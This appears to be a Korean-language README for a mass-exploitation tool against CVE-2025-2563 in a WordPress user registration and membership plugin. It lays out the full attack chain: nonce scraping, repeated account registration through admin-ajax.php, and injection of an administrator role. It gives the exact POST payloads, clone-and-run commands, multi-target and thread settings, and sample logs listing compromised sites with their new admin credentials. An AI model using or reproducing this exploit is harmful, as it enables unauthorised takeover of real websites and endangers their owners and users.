[1단계 — 탐색]
  GET /membership-pricing/        →  membership_id, 가격 링크 추출
  GET /membership-registration/   →  form_id, nonce, 보안 토큰 추출
  GET /registration/              →  대체 등록 페이지

          ↓

[2단계 — Nonce 추출]
  구문 분석: ur_membership_frontend_localized_data._nonce
  구문 분석: ur_frontend_form_nonce, security, form_id, membership_id

          ↓

[3단계 — 등록 (콤보 공격)]
  POST /wp-admin/admin-ajax.php
  action=user_registration_user_form_submit
  form_data=[{user_login, user_email, user_pass, membership_field, ...}]
  security=<token>  |  ur_frontend_form_nonce=<nonce>
  → 성공(success=true)할 때까지 유효한 모든 조합 시도

          ↓

[4단계 — 역할 주입 (CVE-2025-2563)]
  POST /wp-admin/admin-ajax.php
  action=user_registration_membership_register_member
  members_data={"role":"administrator","membership":"<id>",...}
  _wpnonce=<membership_js_nonce>
  → 서버가 새로 생성된 사용자에게 관리자 역할 할당

          ↓

[5단계 — 관리자 확인]
  POST /wp-login.php              →  새 자격 증명으로 로그인
  GET  /wp-admin/                 →  adminmenu / wp-admin-bar 확인
  GET  /wp-admin/users.php        →  manage_options 접근 확인
  GET  /wp-admin/plugin-install.php →  plugin-install 접근 확인

          ↓

[Nx_admin.txt에 저장]
  형식: [타임스탬프] https://target.com/wp-login.php user:<u> pass:<p>

pip install requests urllib3 rich

pip install -r requirements.txt

requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

# 저장소 클론
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563

# 종속성 설치
pip install -r requirements.txt

# 도구 실행
python3 CVE-2025-2563.py

python3 CVE-2025-2563.py

https://target1.com
https://target2.com
http://target3.com
target4.com

대상 파일 [list.txt]:                    list.txt
스레드 수 [3]:                                5
HTTP 시간 초과(초) [10]:                10
대상당 최대 등록 시도 횟수 [20]:  20

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
            {"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=user_registration_membership_register_member
&_wpnonce=<membership_js_nonce>
&members_data={"membership":"<id>","payment_method":"free",
               "role":"administrator","username":"Nxploited_482",...}
&form_response={"username":"Nxploited_482","registration_type":"membership"}

[2025-06-01 12:44:10] https://target.com/wp-login.php user:Nxploited_482 email:[email protected] pass:Nx_adminSA

[2025-06-01 12:44:18] https://target.com/wp-login.php user:Nxploited_482 pass:Nx_adminSA

╔══════════════════════════════════════════════════════════════════╗
║  User Registration Membership Full Chain                         ║
║  By: Nxploited  |  GitHub: github.com/Nxploited  |  @Kxploit    ║
╚══════════════════════════════════════════════════════════════════╝

[스캐닝]        https://target.com
[악용중]        https://target.com  |  nonce + reg OK
[악용됨]        https://target.com  |  password: Nx_adminSA

┌──────────────────────────────────────────────────────────────────────────┐
│ 대상                 │ 상태                         │ 비밀번호 / 참고    │
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com   │ ✅ 손상됨 (악용됨)           │ password: Nx_adminSA│
│ https://target2.com  │ 취약함 (nonce 노출됨)       │                    │
│ https://target3.com  │ 죽음 (연결 오류)            │                    │
└──────────────────────────────────────────────────────────────────────────┘

등록 로그:   reg.txt
악용(관리자) 로그: Nx_admin.txt